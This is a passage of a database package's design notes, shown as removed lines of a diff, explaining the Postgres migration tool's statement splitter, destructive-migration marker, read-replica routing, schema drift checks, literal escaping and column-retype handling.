503
|
-
disagreement is the whole reason this is a bug rather than a preference: `pglite.ts` calls
|
|
504
|
-
PGlite's `query()`, which is the extended protocol always and answers `cannot insert multiple
|
|
505
|
-
commands into a prepared statement`, while `client.ts`'s `Bun.SQL.unsafe(text, values)` degrades to
|
|
506
|
-
the *simple* protocol whenever `values` is empty and applies the same script — measured on bun
|
|
507
|
-
1.3.14, guaranteed by nothing. `createTable` emits the table *and* every index it carries, and
|
|
508
|
-
`x dev`/`x db branch` run on the embedded driver, so the broken case was the common one on the
|
|
509
|
-
path an author uses most. `applyScript` (`migrate.ts`) sends `statementsOf(script)` one at a time
|
|
510
|
-
inside the **same** transaction; a half-applied migration is worse than an unapplied one, and it
|
|
511
|
-
needs no `expectedQueryLoop` of its own because both call sites already run inside the one declared
|
|
512
|
-
for the migration loop. `pglite-embedded.test.ts` is where that is pinned — a recording client
|
|
513
|
-
replies to any text, and only a real engine has an opinion about a script.
|
|
514
|
-
|
|
515
|
-
`statement-split.ts` is that splitter and the only one: `statementsOf(script)` is a left-to-right
|
|
516
|
-
scan, never a `split(';')`, because a `;` inside a string literal, a quoted identifier, a
|
|
517
|
-
dollar-quoted body, a `--` comment or a **nested** block comment is data — and a generated migration
|
|
518
|
-
holds all five, including the `-- backfill "c", then: … set not null;` note. Three rules. `$1` is a
|
|
519
|
-
bound parameter and never a `$tag$`, so a tag may not begin with a digit — otherwise one parameter
|
|
520
|
-
swallows the rest of the script. A backslash escapes only inside an `E''` string, which is also the
|
|
521
|
-
only place the `''` escape is observable: everywhere else, closing and reopening the run lands on
|
|
522
|
-
exactly the same separator. A chunk of whitespace and comments alone is **not** a statement and is
|
|
523
|
-
dropped, so an empty `up` reaches its ledger row instead of sending an empty query. An unterminated
|
|
524
|
-
literal is returned as it stands — Postgres names that syntax error precisely, and a second parser
|
|
525
|
-
competing with it would only report the same fault in worse words. `@ultimat3/entity`'s and
|
|
526
|
-
`@ultimat3/ai`'s live tests import it rather than hand-rolling a seventh copy; splitting a script is
|
|
527
|
-
one question with one answer (axiom 1).
|
|
528
|
-
|
|
529
|
-
`destructive.ts` is the rail, and it decides **what** is destructive — never **whether** a given
|
|
530
|
-
repo has any. `x db gen` reads `isDestructive(up)` to write `-- destructive: true` into the file;
|
|
531
|
-
`x verify`'s `drift` step reads `hasDestructiveMarker`/`destructiveStatements` to refuse a file that
|
|
532
|
-
lacks it (`@ultimat3/cli`'s `db-destructive.ts`). One classifier for both, because a generator that
|
|
533
|
-
wrote no marker where the gate demanded one would ship a migration failing its own gate. Four rules.
|
|
534
|
-
**Only `up`** — reversing a `create table` is a `drop table`, so a rail reading `down` marks every
|
|
535
|
-
migration ever generated and a marker on all of them marks none. **A closed list of four kinds** —
|
|
536
|
-
`drop table`, `drop column`, `truncate`, `alter column … type`; a rail enumerating every Postgres
|
|
537
|
-
foot-gun is a second SQL parser competing with the server's, and every one of these four is a
|
|
538
|
-
statement `generateMigration` emits, so each has a generated case holding it honest. `drop
|
|
539
|
-
constraint`/`default`/`not null` and `drop index` are excluded by name — a `drop index` holds no
|
|
540
|
-
rows of its own, its `down` recreates the recorded definition, and `redefineIndex` has emitted one
|
|
541
|
-
on every index rename since it existed, so classifying it marks nearly every migration and a marker
|
|
542
|
-
on all is none.
|
|
543
|
-
**Decide on blanked text, report the original** — `statementsOf` + `stripSqlNoise` before a keyword
|
|
544
|
-
is looked for, so `-- drop table users` is prose and `values ('drop table users')` is data; but the
|
|
545
|
-
excerpt in the error keeps its identifiers, because `drop table ""` names nothing an author can act
|
|
546
|
-
on. **The marker is a top-level line comment**, like `-- down`, so a file merely mentioning it has
|
|
547
|
-
declared nothing — and one inside a `/* … */` or a dollar-quoted body has declared nothing either,
|
|
548
|
-
which a regex over the raw file could not tell apart. `hasDestructiveMarker` walks `sql-scan.ts`
|
|
549
|
-
for the same reason the classifier does: the marker is a lexical fact, not a substring. It is also SQL the checksum covers, which is deliberate: marking an already-applied
|
|
550
|
-
migration is an edit, and `X_MIGRATION_CONFLICT` is the correct answer to that.
|
|
551
|
-
|
|
552
|
-
`X_MIGRATION_DESTRUCTIVE` and `X_MIGRATION_IRREVERSIBLE` are two questions, not two spellings of
|
|
553
|
-
one. Irreversible refuses to *generate* a plan whose `down` cannot restore the rows, and
|
|
554
|
-
`--allow-destructive` is the override. Destructive refuses to *ship* a plan whose `up` destroys them
|
|
555
|
-
without saying so — and a retype is reversible in DDL, gated by no flag, and still rewrites every
|
|
556
|
-
row, so it is marked without ever being refused.
|
|
557
|
-
|
|
558
|
-
`sql-scan.ts` is the **one** lexer under all of it: `noiseAt(text, index)` names the span starting
|
|
559
|
-
at one offset — line comment, block comment, literal, quoted identifier, dollar-quoted body — or
|
|
560
|
-
`null` for code. `statement-split.ts`, `sql-noise.ts` and `destructive.ts`'s marker all walk it, and
|
|
561
|
-
a splitter that disagreed with a guard about where a literal ends is a `;` sent as data or a
|
|
562
|
-
`delete` read as prose. Two rules it owns. **Source order, never a sequence of replacements**:
|
|
563
|
-
`stripSqlNoise` blanked comments before literals, so the `--` in `select '--'; delete from posts`
|
|
564
|
-
read as a comment and erased the `delete` with it — every reader downstream then judged a SELECT
|
|
565
|
-
where a mutating statement stood. **A `$tag$` needs separating from the identifier before
|
|
566
|
-
it**: `$` is legal in a name after the first character, so `foo$tag$` is one identifier and
|
|
567
|
-
`select foo$tag$; select 2;` is two statements — read as a body opener it went out as one send.
|
|
568
|
-
The run before the delimiter is walked to its start rather than one character being read, because
|
|
569
|
-
`$1$tag$` is a bound parameter followed by a real delimiter and a run opening with a digit or a `$`
|
|
570
|
-
cannot be an identifier at all.
|
|
571
|
-
|
|
572
|
-
`sql-noise.ts` holds `stripSqlNoise` alone, for the two readers that share it —
|
|
573
|
-
`readonly-query.ts`'s cursorable check and `destructive.ts`. It stays its own module rather than
|
|
574
|
-
moving into either: `errors.ts` names the destructive rail's wording and the rail reads SQL text,
|
|
575
|
-
so a blanker living beside a guard puts the error registry, which registers codes at module
|
|
576
|
-
evaluation, inside an import cycle. Its own test is the regression suite for all of them.
|
|
577
|
-
|
|
578
|
-
`runningAppVersion()` delegates to `@ultimat3/core`'s `appVersion()` and keeps its explicit
|
|
579
|
-
override — `x_migrations.app_version` and `@ultimat3/jobs`' `x_backfills.app_version` are two
|
|
580
|
-
durable columns an operator reads side by side, and `jobs` cannot import this package for the
|
|
581
|
-
answer, so the key has one reader at tier 0 rather than one per writer.
|
|
582
|
-
|
|
583
|
-
**Read replicas are opt-in twice, and the second opt-in is the correctness argument, `As of
|
|
584
|
-
2026-08-24`.** A replica pool exists when `DATABASE_REPLICA_URL` names one (`default-client.ts`);
|
|
585
|
-
a read is *offered* to it only inside `withReplicaReads(fn)` (`replica-scope.ts`). With no scope
|
|
586
|
-
open nothing routes and the client is byte-identical to the single-pool one it has always been —
|
|
587
|
-
which is what makes "nobody adopted it yet" today's behaviour rather than a wrong answer.
|
|
588
|
-
|
|
589
|
-
The scope is what closes **read-your-writes**, and the reason it is a scope and not a request id is
|
|
590
|
-
worth writing down because the request id is the obvious answer and it does not work. `Ctx.requestId`
|
|
591
|
-
IS reachable from here — `@ultimat3/http`'s pipeline opens `runWithContext` around every request
|
|
592
|
-
(`packages/http/src/pipeline.ts`), `withChildContext` may not change the id, and `tryUseContext()` is
|
|
593
|
-
tier 0 — but nothing tells tier 1 when a request ENDED. A `Map<requestId, wrote>` therefore only
|
|
594
|
-
grows, ~100 bytes a request forever, and every eviction policy that forgets a request which WROTE
|
|
595
|
-
serves it a stale row on its next read. That is a data-correctness bug strictly worse than the
|
|
596
|
-
capacity problem replicas exist to solve, so the marker lives on a mutable value on an async context
|
|
597
|
-
(`ReplicaScope.wrote`, the same shape as `TxState.live`) whose lifetime somebody else already owns.
|
|
598
|
-
|
|
599
|
-
**`withTransaction` is on the primary structurally, not by rule.** `runRoot` pins a connection
|
|
600
|
-
through `reserve()`, and `replicatedClient` delegates `reserve()` to the primary and exposes it only
|
|
601
|
-
when the primary has one — so BEGIN, every statement and COMMIT are one connection on one server.
|
|
602
|
-
`isReservable` therefore has to keep answering about the DATABASE and not about the wrapper: a
|
|
603
|
-
wrapper that always exposed `reserve` makes `runRoot` pin a client that cannot pin, and one that
|
|
604
|
-
never exposed it makes `runRoot` run BEGIN, the body and COMMIT on three different pooled
|
|
605
|
-
connections. What `runRoot` adds is one line — `markScopeWrote()` unless `readOnly: true` — because
|
|
606
|
-
its statements go through a reservation and never through the router, so the scope could not
|
|
607
|
-
otherwise see that the request has written.
|
|
608
|
-
|
|
609
|
-
**`isPlainRead` is an allow-list, and that inversion is why it is not the lexer this file forbids.**
|
|
610
|
-
`readonly.ts` was deleted for defaulting to PERMISSION: a 22-word deny-list that read
|
|
611
|
-
`select pg_sleep(60)` as safe. This one defaults to the primary — a statement shape nobody
|
|
612
|
-
anticipated costs a replica opportunity and never an answer. **`statementKind()` is not the
|
|
613
|
-
authority and must not become it**: it calls `with … update … returning` a read, which is right for
|
|
614
|
-
an N+1 report and catastrophic for a routing decision, and `replica-route.test.ts` asserts the
|
|
615
|
-
disagreement so the two can never be collapsed. Three refusals earn their line — a locking read
|
|
616
|
-
(`for update`/`for share`; a standby cannot take the row lock), `select … into` (it creates a
|
|
617
|
-
table), and the functions a word boundary cannot reach (`pg_advisory_lock`, `set_config`,
|
|
618
|
-
`nextval`), which a standby ANSWERS rather than refusing, so the server cannot be the safety net for
|
|
619
|
-
those the way it is for a real write.
|
|
620
|
-
|
|
621
|
-
**A misroute fails loudly and repairs itself; a replica outage costs latency and never an answer.**
|
|
622
|
-
A statement a standby refuses (`25006`) never executed, and only `isPlainRead` statements are ever
|
|
623
|
-
sent there, so re-running one on the primary is exactly-once rather than at-least-once — which is
|
|
624
|
-
what makes the blanket fallback in `replica-client.ts` safe. The breaker is what stops that from
|
|
625
|
-
doubling every read during an outage: three consecutive failures park the replica for ten seconds,
|
|
626
|
-
counted on `Clock.monotonic()` so an NTP step cannot un-park it. `ReplicaStats` is exposed on the
|
|
627
|
-
client for a test that cannot scrape, the same reason `@ultimat3/realtime` exposes
|
|
628
|
-
`droppedChannelFrames`, and each fallback logs `db.replica_fallback` with `renderThrowable(error)`.
|
|
629
|
-
|
|
630
|
-
**The URL must name a read-only standby**, and nothing here can check it. The `25006` refusal is the
|
|
631
|
-
whole safety net under a text classifier that cannot be complete; pointed at a writable node, a
|
|
632
|
-
misroute becomes a write on the wrong server with nothing anywhere to report it.
|
|
633
|
-
|
|
634
|
-
**Nothing opens `withReplicaReads` per request yet.** The scope, the client and the wiring are tier
|
|
635
|
-
1 and land here first; the adopter is one call in `@ultimat3/http`'s pipeline (or an app's own
|
|
636
|
-
handler), and until it exists no production traffic is routed. That is the tier rule working —
|
|
637
|
-
lowest tier first, consumers after — not an omission.
|
|
638
|
-
|
|
639
|
-
`checkDrift()` is the **post-migrate verification** and the only drift question that needs a
|
|
640
|
-
database: the live catalog against the ledger the run just wrote. It is asked where a connection is
|
|
641
|
-
open — `@ultimat3/cli`'s `runMigrations`, which is `x db migrate`, `x db reset` and `ROLE=migrate`
|
|
642
|
-
alike — and returned, never thrown. The *other* `X_DB_DRIFT` is `@ultimat3/cli`'s
|
|
643
|
-
`checkSourceDrift`: the entity source hashed against what `x db gen` recorded, no database, which is
|
|
644
|
-
what `x verify`'s `drift` step runs in a CI with nothing listening. Two conditions, two detectors,
|
|
645
|
-
one code — and neither may grow the other's half. Until 1.2.0 both were named `checkDrift`, the
|
|
646
|
-
file-hash one was wired everywhere and this one had no callers at all.
|
|
647
|
-
|
|
648
|
-
`declaredSchema()` answers with the **newest** migration's snapshot or with `undefined`, never with
|
|
649
|
-
the newest one that happens to have a snapshot. `0001` records `posts`, `0002` adds a column and
|
|
650
|
-
writes nothing down, and reaching back to `0001` reports a column the database correctly holds as
|
|
651
|
-
`unexpected-column` — drift against a schema that is exactly right, with `x db gen "add …"` as the
|
|
652
|
-
fix for a migration that already exists. `checkDrift` turns that `undefined` into an
|
|
653
|
-
`unknown-schema` difference rather than `ok: true`, and `x db gen` refuses with
|
|
654
|
-
`X_MIGRATION_SNAPSHOT_MISSING` rather than diffing against the empty schema, which would emit
|
|
655
|
-
`create table` for every table the database already holds.
|
|
656
|
-
|
|
657
|
-
**Those two answers describe one condition, so they must name one remedy — and until 2026-08 they
|
|
658
|
-
named each other.** `unknown-schema`'s fix was `x db gen "snapshot <name>"`, which raises
|
|
659
|
-
`X_MIGRATION_SNAPSHOT_MISSING`, whose fix was "restore … from version control" for a file version
|
|
660
|
-
control never had: reproduced on a pristine `x new` scaffold, whose `0000_initial.sql` ships with no
|
|
661
|
-
sidecar, so the app's first `x db migrate` had no way out at all. Both now lead with the same two
|
|
662
|
-
remedies in the same order — restore the sidecar (`git checkout --`, a real command that fails
|
|
663
|
-
loudly when git has no copy), or, if it was never written, **delete the migration's files first and
|
|
664
|
-
only then** run `x db gen`. The order is the whole point: `x db gen` named before the files are gone
|
|
665
|
-
is the cycle. `snapshotSiblings`/`migrationNameOf` (`errors.ts`) build that second command out of
|
|
666
|
-
the path the caller passed and the id, never out of a directory this tier-1 package invents —
|
|
667
|
-
`unknown-schema` has no path at all and uses a `"*<id>.snapshot.json"` git pathspec for the same
|
|
668
|
-
reason.
|
|
669
|
-
|
|
670
|
-
`compareTable` compares **nullability**, and it is the only column property it compares besides
|
|
671
|
-
existence. `snapshotOf` had recorded `nullable` all along and nothing read it, which made the
|
|
672
|
-
expand/contract flow a one-way door: `generate.ts` emits a `NOT NULL` add as nullable plus a
|
|
673
|
-
`-- backfill "c", then: … set not null;` comment, phase 2 is a thing a human has to remember, and
|
|
674
|
-
with nullability uncompared the column stayed nullable forever against an entity schema that said
|
|
675
|
-
otherwise — `ok: true` on every check until an `undefined` write landed as `NULL` three services
|
|
676
|
-
away. **Primary key columns are excluded, by the union of both sides' keys**: Postgres makes a key
|
|
677
|
-
column `NOT NULL` whether or not anything declared it, so a snapshot spelling `id` nullable would
|
|
678
|
-
otherwise put one finding on every table in a correct database. The type is still not compared —
|
|
679
|
-
the catalog and a snapshot spell types differently often enough that it would report drift on a
|
|
680
|
-
right database, and `x db gen`'s `retypeColumn` owns that question where both sides are generated.
|
|
681
|
-
The `fix:` is the `alter table … set not null` itself and deliberately not `x db gen`, which has
|
|
682
|
-
never emitted one and would answer with an empty migration.
|
|
683
|
-
|
|
684
|
-
**A CHECK that went missing is drift, `As of 2026-08-25`, and it is compared by NAME because it
|
|
685
|
-
cannot be compared any other way.** `pg_get_constraintdef` answers Postgres' own rewriting —
|
|
686
|
-
`status in ('draft', 'published')` reads back as
|
|
687
|
-
`CHECK ((status = ANY (ARRAY['draft'::text, 'published'::text])))`, measured on 18.4
|
|
688
|
-
(`drift-check.live.test.ts`) — so a catalog value could never equal a generated one and a text
|
|
689
|
-
comparison reports a correct database as wrong forever. That is why nothing here read
|
|
690
|
-
`pg_constraint` for CHECKs at all, and why `alter table … drop constraint` in a psql session was
|
|
691
|
-
`ok: true` on every check that followed it.
|
|
692
|
-
|
|
693
|
-
**The two readings do not share a field, and that split is the whole design.**
|
|
694
|
-
`TableDescription.checks` is the DECLARED side — name **and** expression, `snapshotOf`'s own
|
|
695
|
-
spelling, the value `checkPlan` diffs. `TableDescription.checkNames` is the CATALOG side — `conname`
|
|
696
|
-
for `contype = 'c'`, names and nothing else, written only by `introspect()`. Filling `checks` from
|
|
697
|
-
the catalog instead would put a rewritten expression where `checkPlan` expects a generated one, and
|
|
698
|
-
every `x db gen` in every app would then drop and re-add every constraint it has, forever, because
|
|
699
|
-
the two strings can never be equal. Split, the TYPE says which reading a value came from and
|
|
700
|
-
`checkPlan` cannot be handed a catalog value by accident.
|
|
701
|
-
|
|
702
|
-
Three rules ride with it. **Absent and `[]` are different on both sides** — an absent `checks` is a
|
|
703
|
-
sidecar written before the field existed (declares nothing, so nothing can be missing), and an
|
|
704
|
-
absent `checkNames` is a description that never asked the catalog, which reading as "the database
|
|
705
|
-
holds none" is one finding per declared constraint against a database nobody looked at.
|
|
706
|
-
`introspect()` therefore always writes `checkNames`, `[]` included. **Only the declared side is
|
|
707
|
-
judged**, the rule `compareIndexes` and `compareForeignKeys` already state: a NOT NULL (`contype =
|
|
708
|
-
'n'` from Postgres 17 on), an `enumerated()` column's old anonymous form and every constraint an
|
|
709
|
-
extension brought would each be a finding against a database that is exactly right. **There is no
|
|
710
|
-
`changed-check` and there never will be** — presence is a boolean, the predicate is text, and
|
|
711
|
-
normalising the text is an expression parser competing with the server's. `missing-check`'s `fix:`
|
|
712
|
-
is the `add constraint` statement itself, not `x db migrate`: the migration declaring it is already
|
|
713
|
-
in the ledger, so the migrator applies nothing, and the declared side carries the predicate that
|
|
714
|
-
makes an executable fix possible at all.
|
|
715
|
-
|
|
716
|
-
**`literal()` DOES receive caller input, and this file's own source said otherwise until
|
|
717
|
-
2026-08-25.** `column-default.ts:43` renders `ColumnDefaultLike` through it — an app's own
|
|
718
|
-
`.default('C:\\logs')`, crossing the tier seam from `@ultimat3/entity`, validated by nothing and
|
|
719
|
-
guarded by no `identifier()`. Measured through `generateMigration` on 18.4: the emitted
|
|
720
|
-
`default 'C:\logs'` stores `C:\logs` with `standard_conforming_strings` on and **`C:logs`** with it
|
|
721
|
-
off. A declaration that type-checks, a migration that applies, a column defaulting to a value nobody
|
|
722
|
-
wrote, and no error anywhere. A value ENDING in a backslash is worse — the escaped quote leaves the
|
|
723
|
-
literal unterminated.
|
|
724
|
-
|
|
725
|
-
The rule is `E'…'` **only** when the value actually carries a backslash: without one there is no
|
|
726
|
-
escape mechanism for the two GUC settings to disagree about, so every migration already on disk
|
|
727
|
-
stays byte for byte what it was and nothing regenerates spuriously. That property is load-bearing —
|
|
728
|
-
both tracked apps hold applied migrations whose `.hash` covers this text — and
|
|
729
|
-
`generate-default.live.test.ts` pins both halves against a real server, applying the same generated
|
|
730
|
-
migration under `on` and under `off` and reading the stored default back. `sql.test.ts` pins the
|
|
731
|
-
five shapes; the round trip through `statementsOf` is there too, because this package's own lexer
|
|
732
|
-
has to read back what its escape writes or `migrate()` starts miscounting statements
|
|
733
|
-
(`sql-scan.ts`'s `escapesAt` already knew the `E''` prefix).
|
|
734
|
-
|
|
735
|
-
**The other two callers here are safe by CONSTRUCTION, never by input, and the difference matters
|
|
736
|
-
if either is refactored.** `readonly-role.ts:71` sits in the same `sql` template as
|
|
737
|
-
`identifier(role)`, which throws on a backslash before the tag function runs; `branch.ts:85` runs
|
|
738
|
-
after an already-awaited `identifier(base)`. Neither is validating the value it passes to
|
|
739
|
-
`literal()` — a caller moved out of that ordering loses the guard silently.
|
|
740
|
-
|
|
741
|
-
`literal()` is now the tree's ONE answer, enforced: `scripts/sql-literal-copies.ts` refuses a
|
|
742
|
-
`replace`/`replaceAll` whose replacement is `''` anywhere but `packages/db/src/sql.ts`, matched on
|
|
743
|
-
the TRANSFORMATION rather than on a name — the three copies were called `literal`, `literalText`
|
|
744
|
-
and an unnamed inline template. Pinned at zero.
|
|
745
|
-
|
|
746
|
-
**A retype takes the objects written against the column out of its way first, `As of 2026-08-25`,
|
|
747
|
-
and `retype-dependents.ts` decides which those are.** Postgres compiles a partial index's predicate
|
|
748
|
-
and a CHECK's expression against the column's type at creation and cannot recompile either:
|
|
749
|
-
`alter table "posts" alter column "status" type text using "status"::text` answered
|
|
750
|
-
`42883 operator does not exist: text = post_status` and the migration aborted mid-run — inside
|
|
751
|
-
`ROLE=migrate`, with the ledger recording nothing. It is what blocked `examples/dummy` from
|
|
752
|
-
regenerating at all.
|
|
753
|
-
|
|
754
|
-
**Which objects are dependent is measured, never assumed** (`generate-retype.live.test.ts`, one
|
|
755
|
-
shape at a time on 18.4):
|
|
756
|
-
|
|
757
|
-
| recorded object | survives the ALTER |
|
|
758
|
-
|---|---|
|
|
759
|
-
| btree over the column — plain, unique or composite | **yes**, Postgres rebuilds it itself |
|
|
760
|
-
| partial index whose predicate names the column | **no — 42883** |
|
|
761
|
-
| partial index naming another column | yes |
|
|
762
|
-
| CHECK whose expression names the column | **no — 42883** |
|
|
763
|
-
| a view over the column | no, `0A000`; no snapshot records a view, so `migrate()` refuses it instead (`dependent-view.ts`) |
|
|
764
|
-
|
|
765
|
-
So only an expression that MENTIONS the column is moved, and a plain btree is left alone — dropping
|
|
766
|
-
it is a table scan to rebuild for nothing.
|
|
767
|
-
|
|
768
|
-
**The reference test over-approximates on purpose, and it cannot be narrowed by type name.**
|
|
769
|
-
Measured: `char(1)` → `char(3)`, `varchar(80)` → `text` and `numeric` → `integer` all re-derive
|
|
770
|
-
their predicates cleanly, while `integer` → `text` under `check (c >= 0)` is `42883` — both sides
|
|
771
|
-
built-ins. Whether an expression re-resolves depends on operator resolution, which is exactly the
|
|
772
|
-
knowledge a generator with no database cannot have, so every ambiguous case answers "dependent":
|
|
773
|
-
a miss is `42883` in the release phase, a false positive is a rebuild on a statement that is
|
|
774
|
-
already rewriting the whole table under ACCESS EXCLUSIVE. `referencesColumn` walks `sql-scan.ts`
|
|
775
|
-
rather than matching a substring — a name inside a literal or a comment is not a reference,
|
|
776
|
-
`status_code` is not `status`, and a **quoted** identifier IS one, which is the one span the lexer
|
|
777
|
-
calls noise and this reader must not skip.
|
|
778
|
-
|
|
779
|
-
**What is moved aside is put back by the ORDINARY diff, never twice.** `up` drops the dependents
|
|
780
|
-
before the ALTER and `MovedAside` carries their names to the two arms that would otherwise act on a
|
|
781
|
-
thing that is no longer there: the index loop CREATES a declared name instead of comparing it
|
|
782
|
-
(`redefineIndex` is silent on a definition that never moved, which here means the table comes out
|
|
783
|
-
with no index at all), and `checkPlan` neither drops nor re-adds a predropped name — a declared one
|
|
784
|
-
takes the bare `add constraint` because the name is provably free, and a recorded one the entity no
|
|
785
|
-
longer declares is simply gone, which is what `checkPlan` would have done to it anyway. `down`
|
|
786
|
-
pushes the restores forwards and is reversed as a whole, so it reads: drop the new objects, retype
|
|
787
|
-
back, then recreate the ones compiled against the old type — restoring first is `42883` in the
|
|
788
|
-
other direction. What it restores is what the snapshot RECORDED, never what the entity declares.
|
|
789
|
-
|
|
790
|
-
**A FOREIGN KEY over the retyped column is moved too, `As of 2026-08-25`, and `retype-keys.ts`
|
|
791
|
-
decides which — above `diffTable`, which is the whole point.** Postgres re-checks a key's two ends
|
|
792
|
-
against each other on every `alter column … type`: measured on 18.4, `42804 foreign key constraint
|
|
793
|
-
"rk_posts_org_code_fkey" cannot be implemented — Key columns "org_code" … and "code" … are of
|
|
794
|
-
incompatible types: integer and text`, thrown by the ALTER itself, inside `ROLE=migrate`, with the
|
|
795
|
-
ledger recording nothing.
|
|
796
|
-
|
|
797
|
-
**It could not be answered from inside `diffTable` and that is not an implementation detail.** The
|
|
798
|
-
constraint that breaks is recorded on the table that OWNS it, so for a retype of the key's TARGET it
|
|
799
|
-
is a different entity's row — `diffTable(orgs)` is handed `orgs`'s record and can never see
|
|
800
|
-
`posts.foreignKeys`. So `retypedColumns(entities, current)` derives the whole schema's retype set
|
|
801
|
-
once, before the entity loop, and `retypeColumn` READS it instead of asking
|
|
802
|
-
`recorded.dataType === wanted` a second time: two answers to "is this column being retyped" is the
|
|
803
|
-
axiom-1 split this package has spent the week closing.
|
|
804
|
-
|
|
805
|
-
Four rules ride with it.
|
|
806
|
-
|
|
807
|
-
| Rule | Why |
|
|
808
|
-
|---|---|
|
|
809
|
-
| the drop goes in a `preAlters` bucket merged at the TOP of `up` and at the FRONT of `down` | both ends of one key can move in two different entities' diffs, so the drop must precede every ALTER in the migration and the restore must follow every one of them. `down` is reversed at assembly, so the front becomes the end: drop the new key, retype both ends back, then add the recorded one. Restoring any earlier is `42804` in the other direction |
|
|
810
|
-
| what comes back in `up` is written by `foreignKeyPlan`, never here | `moveKeysAside` answers a set of `keyId`s and `ConstraintPlans.predropped` reads it as "the schema does not record this key" — the same reading `checkPlan` gives its own `predropped`. That is what makes the three outcomes fall out of code that already exists: still declared (added back in the `constraints` bucket that already runs after every table statement), no longer declared (gone, exactly as the removal arm would have left it), `on delete` moved (added back carrying the new rule). Three branches restating them here is the collision this was deferred over |
|
|
811
|
-
| **both** ends of `breaksOn` earn their line, and they do not overlap | the OWNER arm catches a key whose table is retyped while its TARGET's table is being dropped; the TARGET arm catches the mirror — the key's own table is doomed, so nothing retypes its column and `foreignKeyPlan` is never called for it at all, while `drop table` is emitted at the END of `up`, long after the ALTER it would have unblocked. Both are pinned live (`generate-retype-key.live.test.ts`), because when both tables survive either arm alone would do |
|
|
812
|
-
| a key whose own table or whose target is doomed gets a `--` note in `down` | `add constraint` against a table no `down` can restore is a rollback that cannot run — the rule `unrestorableDrop` already states |
|
|
813
|
-
|
|
814
|
-
**Re-adding the key is still the SERVER's judgement, deliberately.** An entity that retypes one end
|
|
815
|
-
and not the other declares a pairing Postgres has no operator for, and the `add constraint` at the
|
|
816
|
-
end of `up` is where that is said. Refusing it at generation would need to know whether two types
|
|
817
|
-
share an equality operator — `varchar(80)` and `text` do, `integer` and `text` do not — which is the
|
|
818
|
-
operator-resolution knowledge a generator with no database cannot have, and the same reason
|
|
819
|
-
`referencesColumn` over-approximates. What it cannot see at all is a key the recorded schema does
|
|
820
|
-
not hold: a hand-written migration's, or a sidecar written before `foreignKeys` was recorded.
|
|
821
|
-
|
|
822
|
-
`sql-type.ts` holds `SQL_TYPES`/`sqlType`, split out of `generate.ts` so the pre-pass can ask what a
|
|
823
|
-
kind renders to without importing the module that imports it. The read is **guarded** with
|
|
824
|
-
`Object.hasOwn`, and db's `proto-index` pin dropped 5 → 4 in the same commit — the ratchet reports a
|
|
825
|
-
count that drops as `stale`, so the two could not land apart. `kind` is data: unguarded,
|
|
826
|
-
`SQL_TYPES['constructor']` answered the `Object` function and its source went into the type position
|
|
827
|
-
of an `alter` statement, and `'__proto__'` answered `[object Object]`. Guarded, both pass through as
|
|
828
|
-
themselves like any other unknown kind, and no other input's answer moves.
|
|
829
|
-
|
|
830
|
-
**A generated column's REBUILD moves its dependents aside too, `As of 2026-08-25`, and it reuses
|
|
831
|
-
`retypeDependents` rather than answering again.** Plain → generated has no `set expression`, so
|
|
832
|
-
`regenerate` drops the column and adds it back — and `drop column` silently takes every partial
|
|
833
|
-
index whose PREDICATE names it and every CHECK whose expression does (measured, 18.4). The `rebuilt`
|
|
834
|
-
set `diffTable` carries into its index loop is keyed on an index's COLUMNS, so neither is a name it
|
|
835
|
-
can find: the table came back without them, the snapshot still recording both, and `down` unable to
|
|
836
|
-
restore either. `regenerate` therefore takes `live` and `moved` and calls `moveDependentsAside`,
|
|
837
|
-
which drops each explicitly, restores it in `down`, and puts the name where the ordinary diff will
|
|
838
|
-
CREATE it. `generate-generated-rebuild.live.test.ts` applies it both ways.
|
|
839
|
-
|
|
840
|
-
**A generated column's own `alter … type` deliberately does NOT move them, and the reason is
|
|
841
|
-
measured.** It trips the same `42883` (`operator does not exist: text > integer`, on a generated
|
|
842
|
-
`integer` column under `where (doubled > 0)`) — but moving the index aside only relocates the
|
|
843
|
-
failure to the `create index` that puts it back, because a predicate whose operator the NEW type has
|
|
844
|
-
no resolution for cannot be written either. The plain path's dependents survive precisely because an
|
|
845
|
-
untyped literal re-resolves (`status = 'published'` under an enum and under `text`), and a generated
|
|
846
|
-
column reaching that shape needs its EXPRESSION changed in the same migration, which `regenerate`
|
|
847
|
-
emits AFTER the type statement. Left open with the failure named in the source rather than closed
|
|
848
|
-
with a change no test could fail on.
|
|
849
|
-
|
|
850
|
-
And **what no migration wrote down** is still invisible to the generator by construction — `x db gen`
|
|
851
|
-
runs with no database open, so a hand-added expression index over the column is `42883` whatever
|
|
852
|
-
this does, since `SchemaDescription` has a field for it nowhere.
|
|
853
|
-
|
|
854
|
-
**A VIEW is NOT discoverable from anything this generator reads, and the honest ceiling is a
|
|
855
|
-
refusal one statement earlier, `As of 2026-08-25`.** `SchemaDescription` has no field for a view,
|
|
856
|
-
`introspect()` reads none by construction (`app-relation.ts` excludes every non-table relation), and
|
|
857
|
-
no `entity()` can declare one — so a `GenerateOptions.views` with no caller to fill it would be the
|
|
858
|
-
declared-and-never-wired defect this release exists to eliminate, and the caller is
|
|
859
|
-
`@ultimat3/cli`'s. What DOES have a connection is `migrate()`. `dependent-view.ts` is the preflight:
|
|
860
|
-
`refuseDependentViews(tx, script)` runs inside each migration's own transaction, before its first
|
|
861
|
-
statement, and both `migrate()` and `rollback()` call it.
|
|
862
|
-
|
|
863
|
-
It repairs nothing and does not claim to — the deploy still stops. What it replaces is
|
|
864
|
-
`X_DB_UNAVAILABLE: cannot reach the database`, whose registered `fix:` is "set `DATABASE_URL` to a
|
|
865
|
-
reachable Postgres url", on a database the migrator is connected to and mid-transaction on. The
|
|
866
|
-
server's own words name the view in a **DETAIL** field nothing printed:
|
|
867
|
-
`0A000 cannot alter type of a column used by a view or rule` /
|
|
868
|
-
`rule _RETURN on view dv_docs_published depends on column "rank"`. `X_MIGRATION_VIEW_DEPENDS` names
|
|
869
|
-
the view, the table and the column, and its `fix:` is the `drop view` plus the `create view` built
|
|
870
|
-
from `pg_get_viewdef(oid, true)` — a paste, not an archaeology.
|
|
871
|
-
|
|
872
|
-
Four rules.
|
|
873
|
-
|
|
874
|
-
| Rule | Why |
|
|
875
|
-
|---|---|
|
|
876
|
-
| `retypeTargets` is a WORD scan over `sql-scan.ts`, never a regex | a retype inside a `--` comment is prose and one inside a literal is data, and both reach the scan when they sit inside an `alter table` statement — read as code either invents a target on a column the statement never touches. A **quoted** name is never a keyword: `alter table "t" alter "column" type text` retypes a column called `column`, and read as the keyword it names `type` and matches nothing |
|
|
877
|
-
